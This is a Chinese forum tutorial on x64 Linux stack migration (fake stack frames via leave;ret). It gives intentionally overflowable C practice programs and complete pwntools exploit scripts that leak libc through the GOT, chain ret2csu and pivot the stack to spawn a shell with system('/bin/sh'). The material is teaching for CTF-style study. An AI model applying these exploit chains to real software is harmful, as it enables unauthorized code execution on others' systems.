首页
社区
课程
招聘
[原创]钉子户的迁徙之路(一)
发表于: 2024-5-7 09:51 2706

[原创]钉子户的迁徙之路(一)

2024-5-7 09:51
2706

说明:本篇文章成型很久,现在已退役,后期完善不足,各位师傅将就看吧

0.开篇

栈迁移,也叫伪造栈帧,栈翻转(不相同,是栈迁移的一种形式),我本人更倾向属于伪造栈帧(fake frame) 这种叫法,这种更为科学,只是我最早的时候是叫栈迁移,习惯了就叫栈迁移了。

栈迁移,其实就是利用leave,ret指令将bp sp移动到自己想要的地方,更确切一点说只是利用的 2 次leave ret指令,而 bp,sp 在现代操作系统中负责栈,将其移动就是将栈移动,其中bp里的值是保留前一个bpleave 后跟随中的ret就能够控制ip从而控制程序执行流,现代cpu中已经没有mov ip xx这种指令了,所以ret就是最简单也最为方便的程序控制流方式, 这种技巧有很多巧妙的地方可以使用。

x64x86的函数传参方式有着较大的不同, 由于x86只需要布置内存布局即可完成函数调用,而x64需要考虑函数调用后寄存器的变化,情况更为复杂,所以下面的例题都是以linuxx64程序为例,x86只是做简要说明,有兴趣的可以自行调试,不再过多赘述。

1.栈迁移的基本原理

我们以下例题来简要说明栈迁移的基本原理(以下内容并非是去解答此题)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// migration.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int dofunc(){
    char buf[8] = {};
    puts("input:");
    read(0,buf,0x100);
    //puts("byebye");
    return 0;
}
 
int main(){
    dofunc();
    return 0;
}//gcc migration.c -no-pie  -fno-stack-protector  -o migration_x64

首先通过栈溢出将将栈帧布置为在 0xAABBCCDD 位置写入 0x100 字节,结尾布置leave ret。程序会执行完函数本身的leave ret 后,rsp 变为 rbp 的值,rbp 变为 0xAABBCCDD,下面通过 read0xAABBCCDD 处栈帧布置好,再执行 read_symbols 后的 leave retrsp 变为 0xAABBCCDDrbp 变为 0xAABBCCDD 处的值。

0xAABBCCDD 处布置栈帧如下,常规性 leak func,然后将栈迁移到更远的地方。下面只需要重复上面的内容,在 0xAABBCDDD 处写入 system("/bin/sh")

写入之后的样子如下,执行完leave ret之后,就可以正常执行 system("/bin/sh")

整个过程相对繁琐一些,但拆开来看又非常的简单,就是利用 leave ret 逐步将栈帧移动到自己布置好的地方。但大家通过上面的说明也可以很清楚发现其中的问题

1.首先第一步布置栈帧就需要 0x30 字节的溢出,因为 read 函数参数要比 puts 多,显然不如通过:直接 leak libc 基地址 -> 返回主函数后利用栈溢出布置 system("/bin/sh") -> get shell ,这种方式来的简单。

2.即使要是用栈迁移,正常的函数中是无法找到 pop rdx ret 这种 gadget 的,通常会使用寄存器原有的 rdx 。但是,如果题目中有puts("byebye"); 之类的步骤(如我题目中注释掉部分 ) 能够起到 rdx 清零的作用。那么,这时候要是用 read 函数,往往还需要使用 ret2csu,这样栈帧就需要0x80,远远不如直接使用 puts 来的方便。

3.栈迁移的地址该如何选择?是不是随便找个 bss 段就能迁移?熟悉栈迁移的大佬们都应该知道栈迁移的地址并不能紧靠有用数据的内存,因为 libc 中很多库函数往往会抬高栈帧,例如 puts 大概会抬高栈帧 0x80system 大概会抬高栈帧 0x200 (不同的版本不全相同)。抬高栈后会覆盖原有数据,甚至会抬高到 bss 段开头,从而失去内存写权限,对 got 表、bss 节的修改会使攻击失效。所以迁移地址需要巧妙设置,其中涉及到程序本身调用库函数的数量、使用何种输出函数、写入内容所在的位置、是否清空 stdout 等诸多选项,需要攻击者对 c 语言库函数源码(多数是 glibc)非常熟悉,或者要多次尝试才能够完成,并且在我多次源码分析之后发现不同版本 glibc 还存在细节上的差异,这对攻击者的能力要求非常高。

从上面的问题可以看出,栈迁移虽然这个技巧很有意思,但并不实用,大部分题目并不需要使用栈迁移来解决。我觉得使用栈迁移的情况有以下几种。

  1. 主函数不能返回(例如 : HITCON-Training LAB6
  2. ret2dlresolve 需要栈帧一般都非常长,这时候选择栈迁移能很好的省去一些不必要的麻烦。
  3. 只能溢出1个或者2个字长,这种题目就等于把:“请栈迁移”写在脸上。这种题目的特点是两次输入,也分为两种情况。
    1. 迁移到栈上,第1次输入是泄露地址,第2次是布置栈帧 + 迁移。
    2. 迁移到非栈上,1次输入是在非栈上布置栈帧,另1次迁移至非栈上,两次顺序可以互换。

对于 HITCON-Training LAB6 这个题目不作过多说明,基本技巧和上面的说明差不多,属于栈迁移的基本题目,大家可以去练习一下,它没有使用 puts 清空 rdx,可以直接使用原有的寄存器来迁移。同样,对于 ret2dlresolve 重点还是在于 dl_runtime_resolve 的理解,迁移只是一种手段。那么,溢出字长过短就成了栈迁移大显身手的地方(当然,栈迁移的出现也是为了解决溢出长度过短的问题)。

2.一迁钉子户

对于溢出字长过短的情况,也可以有两种模式

  1. 可以溢出到返回地址自行布置 leave ret
  2. 只能溢出覆盖 rbp,必须利用原本函数中有的两次 leave ret 来完成迁移。

第一种因为能够控制返回地址,相对简单一些,而且也容易出现非预期解(后面会讨论这个问题)。我们以迁移到栈上来说明以上两种情况。

1.迁移到栈上(question_1)

1.可以覆盖返回地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// question_1.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}
 
int dofunc(){
    char buf[0x100] = {};
    puts("input1:");
    read(0,buf,0x110);
    puts(buf);
    puts("input2:");
    read(0,buf,0x110); // 可以覆盖返回地址
    return 0;
}
 
int main(){
    init_func();
    char byebye[]="byebye";
    dofunc();
    puts(byebye);
    return 0;
}//gcc question_1.c -fno-stack-protector -no-pie -o question_1_x64

question_1 代码为什么要这么写不再作太多解释,不是本篇文章的重点,且编译参数有无 canary 差别也不大。大家可以看出来,在 dofunc 中,buf 长度是 0x100,写入的长度是 0x110,可以覆盖返回地址,那么,我们能自行布置 leave ret 。第1次输入输出为了泄露栈地址,第2次为了布置栈帧和迁移,布置栈帧和迁移同时进行。payload 主要逻辑如下。

需要说明三点

  1. 实际中不太可能存在 pop_rdi_rsi_rdx_ret 这种 gadget ,这个不是问题,我们可以使用 ret2csu
  2. 图中我写的是在 0xccddee00 处布置 system("/bin/sh") ,这个既可以是栈上,也可以在 bss 段,并不太关键。

攻击脚本主要内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
import pwn_script
from sys import argv
import argparse
 
s = lambda data: io.send(data)
sa = lambda delim, data: io.sendafter(delim, data)
sl = lambda data: io.sendline(data)
sla = lambda delim, data: io.sendlineafter(delim, data)
r = lambda num=4096: io.recv(num)
ru = lambda delims, drop=True: io.recvuntil(delims, drop)
itr = lambda: io.interactive()
uu32 = lambda data: u32(data.ljust(4, '\0'))
uu64 = lambda data: u64(data.ljust(8, '\0'))
leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))
 
if __name__ == '__main__':
    pwn_arch ='amd64'
    pwn_script.init_pwn_linux(pwn_arch)
    pwnfile = './question_1_x64'
    io = process(pwnfile)
    elf = ELF(pwnfile)
    rop =ROP(pwnfile)
    context.binary = pwnfile
     
    pop_rdi_ret = pwn_script.pop_rdi_ret(pwnfile)
    leave_ret = pwn_script.leave_ret(pwnfile)
    csu_front_addr = 0x401410
    ret =  pwn_script.ret(pwnfile)
    read_sym = elf.symbols['read']
    puts_sym = elf.symbols['puts']
    read_got = elf.got['read']
    target1_rbp = elf.bss() + 0x800  # 需要找到合适的转移目标
    n = 10  # n至少要大于3
    final_rbp = target1_rbp + 0x100 * n
    leak_func_name = '__libc_start_main'
    leak_func_got = elf.got[leak_func_name]
 
    # 泄露栈迁移地址
    dem1 = 'input1:\n'
    dem2 = 'input2:\n'
    padding2rbp = 0x100
    sa(dem1 , padding2rbp * b"a")
    ru(b'a' * padding2rbp)
    pre_stack = u64(r(6).ljust(8,b"\x00"))
    stack = pre_stack - 0x20
    stack_migration_addr = stack - 0x100
    print('stack_addr:', hex(stack_migration_addr))
 
    # 使用 ret2csu 栈迁移
    call_func = {'func_addr':read_got , 'arg1': 0, 'arg2': target1_rbp, 'arg3': 0x100}
    pay_ret2csu_payload = pwn_script.ret2csu_payload(call_func, 0, csu_front_addr, rbp = target1_rbp ,gcc_ver='new')
    payload1 = flat([target1_rbp , pop_rdi_ret, leak_func_got, puts_sym]) + pay_ret2csu_payload + p64(leave_ret)
    payload1 = payload1.ljust(padding2rbp, b'A') + p64(stack_migration_addr) + p64(leave_ret)
    sa(dem2, payload1)
    leak_func_addr = u64(r(6).ljust(8,b'\x00')) 
    system_addr, binsh_addr = pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr)
 
    # 最终输出
    payload = flat([final_rbp, pop_rdi_ret ,binsh_addr, ret , system_addr])
    sl(payload)
 
    itr()

1.只能覆盖 rbp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//question_1.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}
 
int dofunc(){
    char b[0x100] = {};
    puts("input1:");
    read(0,b,0x108);
    puts(b);
    puts("input2:");
    read(0,b,0x108); // 只能覆盖到 rbp
    return 0;
}
 
int main(){
    init_func();
    char byebye[]="byebye";
    dofunc();
    puts(byebye);
    return 0;
}//gcc question_1.c -fno-stack-protector -no-pie -o question_1_x64

相对于可以覆盖返回地址,只能覆盖到 rbp 的情况更为复杂,需要说明三点。

  1. 我们无法再返回地址布置 leave ret ,这个不是问题,我们可以分别利用 dofuncmain 的两次 leave ret 来实现栈迁移。
  2. 我在题目中的 main 函数故意加了 puts(byebye) 目的就是为栈上的数据带来污染,使得无法直接使用 ret2csu。对于这个问题,我们可以返回到 main 函数再次执行,题目中栈的高度足够运行。
  3. 由于第二点的存在,后面的 system("/bin/sh") 只能布置在栈上。

攻击脚本主要内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
import pwn_script
from sys import argv
import argparse
 
s = lambda data: io.send(data)
sa = lambda delim, data: io.sendafter(delim, data)
sl = lambda data: io.sendline(data)
sla = lambda delim, data: io.sendlineafter(delim, data)
r = lambda num=4096: io.recv(num)
ru = lambda delims, drop=True: io.recvuntil(delims, drop)
itr = lambda: io.interactive()
uu32 = lambda data: u32(data.ljust(4, '\0'))
uu64 = lambda data: u64(data.ljust(8, '\0'))
leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))
 
if __name__ == '__main__':
    pwn_arch ='amd64'
    duchao_pwn_script.init_pwn_linux(pwn_arch)
    pwnfile = './migration_3_x64'
    io = process(pwnfile)
    elf = ELF(pwnfile)
    rop =ROP(pwnfile)
    context.binary = pwnfile
     
    pop_rdi_ret = pwn_script.pop_rdi_ret(pwnfile)
    leave_ret = pwn_script.leave_ret(pwnfile)
    csu_front_addr = 0x401420
    ret =  pwn_script.ret(pwnfile)
    read_sym = elf.symbols['read']
    puts_sym = elf.symbols['puts']
    read_got = elf.got['read']
    dofunc_addr = elf.symbols["dofunc"]
    main_addr = elf.symbols["main"]
    leak_func_name = '__libc_start_main'
    leak_func_got = elf.got[leak_func_name]
 
 
    dem1 = 'input1:\n'
    dem2 = 'input2:\n'
    # 泄露栈迁移地址
    padding2rbp = 0x100
    sa(dem1 , padding2rbp * b"a")
    ru(b'a' * padding2rbp)
    pre_stack = u64(r(6).ljust(8,b"\x00"))
    stack = pre_stack - 0x20
    stack_migration_addr = stack - 0x100
    duchao_pwn_script.dbg(io)
    print('stack_addr:', hex(stack_migration_addr))
 
    # 栈迁移,返回到 main 函数
    payload1 = flat([stack , pop_rdi_ret, leak_func_got, puts_sym , main_addr])
    payload1 = payload1.ljust(padding2rbp, b'A') + p64(stack_migration_addr)
    sa(dem2 , payload1)
    ru('\n')
    ru('\n')
    leak_func_addr = u64(r(6).ljust(8,b'\x00'))
    system_addr, binsh_addr = pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr)
 
    # 利用第一次输入调整一下栈帧,方便攻击
    sa(dem1 , padding2rbp * b"a")
    ru(b'a' * padding2rbp)
    pre_stack = u64(r(6).ljust(8,b"\x00"))
    stack = pre_stack - 0x20
    stack_migration_addr = stack - 0x100
    # 最终输出
    payload = flat([stack, pop_rdi_ret ,binsh_addr, ret , system_addr])
    payload = payload.ljust(padding2rbp, b'A') + p64(stack_migration_addr)
    sa(dem2,payload)
 
    itr()

总结

  1. 可以覆盖返回地址的情况更为简单
  2. 如果主程序有调用,可以使用 1.2 的攻击思路来攻击 1.1
  3. 主程序中如果在迁移后有 puts(byebye) 之类的步骤,将会对栈上的数据带来了污染,这就使得 1.2 的情况适用度不高,需要 buf 的输入数据足够长或者有二次调用才可以。

(当然,我们还有其他方式来处理,将在后面进行讨论)

2.迁移到非栈上(question_2

由于迁移到非栈上,主要难点是在迁移后栈帧的布置,如果能够覆盖返回地址,将出现多种非预期解。所以,我们在处理迁移到非栈上的问题时,让 buf 只能溢出覆盖 rbp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// question_2.c
#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define LEN 0x100
char migration[LEN];  
 
int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}
 
int dofunc(){
    char buf[8] = {};
    puts("input1:");
    read(0,migration,LEN);
    puts("input2:");
    read(0,buf,0x10);   // 只能覆盖到 rbp
    return 0;
}
 
int main(){
    init_func();
    char byebye[]="byebye";
    dofunc();
    puts(byebye);
    return 0;
}
//gcc question_2.c -fno-stack-protector -no-pie -o question_2_x64

大家可以看出来,在 dofunc 中,buf 长度是 0x8,写入的长度是 0x10,只能覆盖到 rbp ,同样是利用 dofuncmainleave ret 来实现栈迁移,不同的是第1次输入的是布置的栈帧,第2次输入是为了迁移。参照迁移到栈上的方法,攻击逻辑如下

需要说明三点

  1. 我在题目中的 main 函数故意加了 puts(byebye); 目的就是为栈上的数据带来污染,使得无法直接使用 ret2csu ,只能返回函数重新执行
  2. 我故意将第一次输出作为布置迁移后的栈帧,所以第二次 puts("input2:"); 也会污染栈数据。
  3. 因为利用 dofuncmainleave ret 来实现栈迁移,所以最后 system("/bin/sh") 只能在 migration 处。

攻击脚本主要内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
import pwn_script
from sys import argv
import argparse
 
s = lambda data: io.send(data)
sa = lambda delim, data: io.sendafter(delim, data)
sl = lambda data: io.sendline(data)
sla = lambda delim, data: io.sendlineafter(delim, data)
r = lambda num=4096: io.recv(num)
ru = lambda delims, drop=True: io.recvuntil(delims, drop)
itr = lambda: io.interactive()
uu32 = lambda data: u32(data.ljust(4, '\0'))
uu64 = lambda data: u64(data.ljust(8, '\0'))
leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))
 
if __name__ == '__main__':
    pwn_arch ='amd64'
    pwn_script.init_pwn_linux(pwn_arch)
    pwnfile = './question_2_x64'
    io = process(pwnfile)
    elf = ELF(pwnfile)
    rop =ROP(pwnfile)
    context.binary = pwnfile
 
    pop_rdi_ret = pwn_script.pop_rdi_ret(pwnfile)
    leave_ret = pwn_script.leave_ret(pwnfile)
    leave_ret = pwn_script.leave_ret(pwnfile)
    read_sym = elf.symbols['read']
    puts_sym = elf.symbols['puts']
    read_got = elf.got['read']
    migration = elf.symbols['migration'# 题目要求写入的地址
    dofunc_addr = elf.symbols['dofunc']
    leak_func_name = '__libc_start_main'
    leak_func_got = elf.got[leak_func_name]
 
    # 一、布置栈帧 按照题目要求利用 leave ret 必须迁移到 migration 处
    padding2rbp = 8
    payload_buf = flat(['a' * padding2rbp , migration])
    payload4search = flat([0xdeadbeef , pop_rdi_ret , leak_func_got , puts_sym , dofunc_addr , leave_ret ])
    sa('input1:\n',payload4search)
    sa('input2:\n',payload_buf)
    
    # 二、找到 libc 地址
    ru("\n")
    leak_func_addr = u64(r(6)[0:6].ljust(8,b'\x00'))
    system_addr, binsh_addr = pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr)
     
    # 三、再次迁移到更远的地方执行 system("/bin/sh")
    payload_migration = flat([0xdeadbeef , pop_rdi_ret , binsh_addr , system_addr])
    sa('input1:\n',payload_migration)
    payload_buf = flat(['a' * padding2rbp , migration])
    sa('input2:\n',payload_buf)
 
    itr()

**实际调试中肯定是无法完成攻击的。**这主要是因为 puts 会抬高 0x80 的栈帧,抬高的栈帧已经达到 data 段,不具备可写的权限,现实中还可能出现修改 stdin、stdout、stderr 导致输出异常。并且,后面的 system("/bin/sh") 需要的栈帧更长(大约为0x200)。那么我们不能直接迁移到 migration 处,需要再远一点,攻击思路如下。

  1. 迁移到 migration+0x80 或者更远处布置栈帧泄露 libc 地址
  2. 利用 ret2csubss 段更远的地方布置 system("/bin/sh")
  3. 迁移到布置好的栈帧位置。

攻击脚本主要内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
import pwn_script
from sys import argv
import argparse
 
s = lambda data: io.send(data)
sa = lambda delim, data: io.sendafter(delim, data)
sl = lambda data: io.sendline(data)
sla = lambda delim, data: io.sendlineafter(delim, data)
r = lambda num=4096: io.recv(num)
ru = lambda delims, drop=True: io.recvuntil(delims, drop)
itr = lambda: io.interactive()
uu32 = lambda data: u32(data.ljust(4, '\0'))
uu64 = lambda data: u64(data.ljust(8, '\0'))
leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))
 
if __name__ == '__main__':
    pwn_arch ='amd64'
    pwn_script.init_pwn_linux(pwn_arch)
    pwnfile = './question_2_x64'
    io = process(pwnfile)
    elf = ELF(pwnfile)
    rop =ROP(pwnfile)
    context.binary = pwnfile
     
    dem1 = b'input1:\n'
    dem2 = b'input2:\n'
    pop_rdi_ret = pwn_script.pop_rdi_ret(pwnfile)
    leave_ret = pwn_script.leave_ret(pwnfile)
    ret = pwn_script.ret(pwnfile)
    csu_front_addr = 0x4012D0
    read_sym = elf.symbols['read']
    puts_sym = elf.symbols['puts']
    read_got = elf.got['read']
    migration = elf.symbols['migration'# 题目要求写入的地址
 
    target1_rbp = elf.bss() + 0x800  #需要测试得出
    n = 8  # n至少要大于3
    final_rbp = target1_rbp + 0x100 * n
    leak_func_name = '__libc_start_main'
    leak_func_got = elf.got[leak_func_name]
 
    # 一、布置栈帧 按照题目要求利用 leave ret 必须迁移到 migration 处
    #pwn_script.dbg(io)   
    padding2rbp = 8
    align = 0x68
    payload_buf = flat(['a' * padding2rbp , migration + align - 8])
     
    call_func = {'func_addr':read_got , 'arg1': 0, 'arg2': target1_rbp, 'arg3': 0x100}
    pay_ret2csu = pwn_script.ret2csu_payload(call_func,  0, csu_front_addr, rbp = target1_rbp , gcc_ver='new')
    payload_migration = flat([pop_rdi_ret , leak_func_got , puts_sym]) + pay_ret2csu + p64(leave_ret) 
    payload_migration = b"a" * align + payload_migration
    # pwn_script.dbg(io)
    sa(dem1 , payload_migration) 
    sa(dem2, payload_buf)
    #ru('byebye\n') # 由于迁移栈,byebye 已经打印不出来
    ru('\n')
     
    # 二、找到 libc 地址
    leak_func_addr = u64(r(6).ljust(8,b'\x00'))
    system_addr, binsh_addr = pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr)
    print("system_addr is :" , hex(system_addr))
    print("binsh_addr is :",   hex(binsh_addr))
    ru('\n')
     
    # 四、写入 system + binsh
    payload3 = flat([final_rbp , pop_rdi_ret , binsh_addr , ret ,system_addr])
    #sleep(1)
    s(payload3)
 
    itr()

上面两种情况是栈迁移的两种基本情况。既然是涉及到栈,那么无法绕过的就是栈帧长度的问题,而且栈迁移多数就是问了解决栈帧不够长,那么长度必然就成了我们需要仔细研究的问题,上面的问题中为了说明,我将输入的长度都设置为 0x100,现在我们就来研究一下栈迁移过程中栈帧长短的问题。敬请关注下一篇《二迁钉子户》

3.二迁钉子户

1. 栈上的回头反打(question_3)

我们再看看迁移到栈上的情况,在处理 question_1 中可以覆盖返回地址的时候,有经验的老手已经发现了问题所在,我们在 puts 函数后直接使用了ret2csu 所以内容很长,实际上我们的栈帧布置可以在 puts 后返回 dofunc 函数,那么我们所需要的栈帧就可以很短。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// question_3.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}
 
int dofunc(){
    char b[0x20] = {};
    puts("input1:");
    read(0,b,0x30);
    puts(b);
    puts("input2:");
    read(0,b,0x30);  // 可以覆盖返回地址
    return 0;
}
 
int main(){
    init_func();
    char byebye[]="byebye";
    dofunc();
    puts(byebye);
    return 0;
}
//gcc question_3.c -fno-stack-protector -no-pie -o question_3_x64

这个与只能覆盖 rbp 的情况差距不带,不再过多赘述,攻击脚本主要内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
import pwn_script
from sys import argv
import argparse
 
s = lambda data: io.send(data)
sa = lambda delim, data: io.sendafter(delim, data)
sl = lambda data: io.sendline(data)
sla = lambda delim, data: io.sendlineafter(delim, data)
r = lambda num=4096: io.recv(num)
ru = lambda delims, drop=True: io.recvuntil(delims, drop)
itr = lambda: io.interactive()
uu32 = lambda data: u32(data.ljust(4, '\0'))
uu64 = lambda data: u64(data.ljust(8, '\0'))
leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))
 
if __name__ == '__main__':
    pwn_arch ='amd64'
    pwn_script.init_pwn_linux(pwn_arch)
    pwnfile = './question_3_x64'
    io = process(pwnfile)
    elf = ELF(pwnfile)
    rop =ROP(pwnfile)
    context.binary = pwnfile
     
    pop_rdi_ret = pwn_script.pop_rdi_ret(pwnfile)
    leave_ret = pwn_script.leave_ret(pwnfile)
    ret =  pwn_script.ret(pwnfile)
    read_sym = elf.symbols['read']
    puts_sym = elf.symbols['puts']
    read_got = elf.got['read']
    dofunc = elf.symbols['dofunc']
    leak_func_name = '__libc_start_main'
    leak_func_got = elf.got[leak_func_name]
    dem1 = 'input1:\n'
    dem2 = 'input2:\n'
 
    # 泄露栈迁移地址
    padding2rbp = 0x20
    pwn_script.dbg(io)
    sa(dem1 , padding2rbp * b"a")
    ru(b'a' * padding2rbp)
    pre_stack = u64(r(6).ljust(8,b"\x00"))
    stack = pre_stack - 0x20
    stack_migration_addr = stack - padding2rbp
    print('stack_addr:', hex(stack_migration_addr))
 
    # 迁移后返回 dofunc
    payload1 = flat([pop_rdi_ret, leak_func_got, puts_sym , dofunc])
    payload1 = payload1.ljust(padding2rbp, b'A') + p64(stack_migration_addr - 0x8) + p64(leave_ret)
    sa(dem2, payload1)
    leak_func_addr = u64(r(6).ljust(8,b'\x00')) 
    system_addr, binsh_addr = pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr)
 
    # 重复上面的步骤
    sa(dem1 , b"deadbeef")
    payload2 = flat([pop_rdi_ret ,binsh_addr, ret , system_addr])
    payload2 = payload2.ljust(padding2rbp, b'A') + p64(stack_migration_addr - 0x10) + p64(leave_ret)
    sa(dem2,payload2)
 
    itr()

2. 非栈上的二阶栈迁移(question_4

question_2migration 长度为 0x100 ,在问题分析中也指出由于 puts 会抬高 0x80 的栈帧,我们必须迁移到更深处,那么问题来了,如果 migration 长度为 0xa0 甚至更小,已经不能布置 puts 函数,那么该如何攻击?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// question_4.c
#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define LEN 0xa0
char migration[LEN];  
 
int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}
 
int dofunc(){
    char buf[8] = {};
    puts("input1:");
    read(0,migration,LEN);
    puts("input2:");
    read(0,buf,0x10);  
    return 0;
}
 
int main(){
    init_func();
    char byebye[]="byebye";
    dofunc();
    puts(byebye);
    return 0;
}
//gcc question_4.c -fno-stack-protector -no-pie -o question_4_x64

这时我们的需要转变攻击思路,不能盯着 migration 不放,既然 migration 不能直接泄露函数,我们按照栈迁移的基本原理先将栈从 migration 处迁移到可以正常布置栈帧的地方再重复上面的步骤进行攻击,我将其称之为二阶栈迁移,攻击思路如下

攻击过程中需要注意以下迁移的位置。

程序 bss 段毕竟长度有限,绝大多数库函数都需要一定的栈帧,尤其是 system 函数需要 0x200 ,并且 bss 段前面可能还有一些程序需要的数据,所以迁移的位置需要一定的考量。

攻击脚本主要内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
import pwn_script
from sys import argv
import argparse
 
s = lambda data: io.send(data)
sa = lambda delim, data: io.sendafter(delim, data)
sl = lambda data: io.sendline(data)
sla = lambda delim, data: io.sendlineafter(delim, data)
r = lambda num=4096: io.recv(num)
ru = lambda delims, drop=True: io.recvuntil(delims, drop)
itr = lambda: io.interactive()
uu32 = lambda data: u32(data.ljust(4, '\0'))
uu64 = lambda data: u64(data.ljust(8, '\0'))
leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))
 
if __name__ == '__main__':
    pwn_arch ='amd64'
    pwn_script.init_pwn_linux(pwn_arch)
    pwnfile = './question_4_x64'
    io = process(pwnfile)
    elf = ELF(pwnfile)
    rop =ROP(pwnfile)
    context.binary = pwnfile
 
    pop_rdi_ret = pwn_script.pop_rdi_ret(pwnfile)
    leave_ret = pwn_script.leave_ret(pwnfile)
    ret = pwn_script.ret(pwnfile)
    csu_front_addr = 0x401288
    dem1 = 'input1:\n'
    dem2 = 'input2:\n'
    read_sym = elf.symbols['read']
    puts_sym = elf.symbols['puts']
    read_got = elf.got['read']
    migration = elf.symbols['migration'# 题目要求写入的地址
 
    target1_rbp = elf.bss() + 0x200  #需要测试得出
    n = 8  # n至少要大于3
    final_rbp = target1_rbp + 0x100 * n
    leak_func_name = '__libc_start_main'
    leak_func_got = elf.got[leak_func_name]
 
    # 一、布置栈帧,按照题目要求利用 leave ret 必须迁移到 migration 处
    padding2rbp = 8
    payload_buf = flat(['a' * padding2rbp , migration])
     
    # 二、利用 ret2csu 二阶栈迁移非常保险, 栈迁移的距离很有讲究 原则上能大则大
    call_func = {'func_addr':read_got , 'arg1': 0, 'arg2': target1_rbp, 'arg3': 0x100}
    pay_ret2csu = pwn_script.ret2csu_payload(call_func, 0, csu_front_addr , rbp = target1_rbp , gcc_ver='new')
    payload_migration = flat([target1_rbp , pay_ret2csu , leave_ret])
    sa(dem1, payload_migration) 
    sa(dem2, payload_buf)
    pause()
    #ru('byebye\n')  # 由于迁移栈,byebye 已经打印不出来
 
    # 三、泄露  libc 基地址
    target2_ebp = target1_rbp + 0x500
    call_func = {'func_addr':read_got , 'arg1': 0, 'arg2': target2_ebp, 'arg3': 0x100}
    pay_ret2csu = pwn_script.ret2csu_payload(call_func ,0,csu_front_addr , rbp = target2_ebp , gcc_ver='new')
    payload3 = flat([target2_ebp , pop_rdi_ret , leak_func_got , puts_sym , pay_ret2csu , leave_ret])
    sl(payload3)
    ru("\n")
    # pause()
    leak_func_addr = u64(r(6).ljust(8,b'\x00'))
    system_addr, binsh_addr = pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr)
 
    # 四、写入 system + binsh
    payload3 = flat([final_rbp , pop_rdi_ret , binsh_addr , ret ,system_addr])
    sl(payload3)
 
    itr()

由于 ret2csu 长度为 0x80 所以,只要迁移处的长度大于这个 0x80 就能够依靠二阶栈迁移可以实现通杀。

**综上所述,**上面的情况已经相比于第一次迁移时短了很多,但还不能让我们满意,尤其是迁移到非栈上的情况,还需要至少 0x80 的迁移空间,有什么办法能让它再变短一些呢?敬请关注下《三迁钉子户》


阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

收藏
点赞6
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回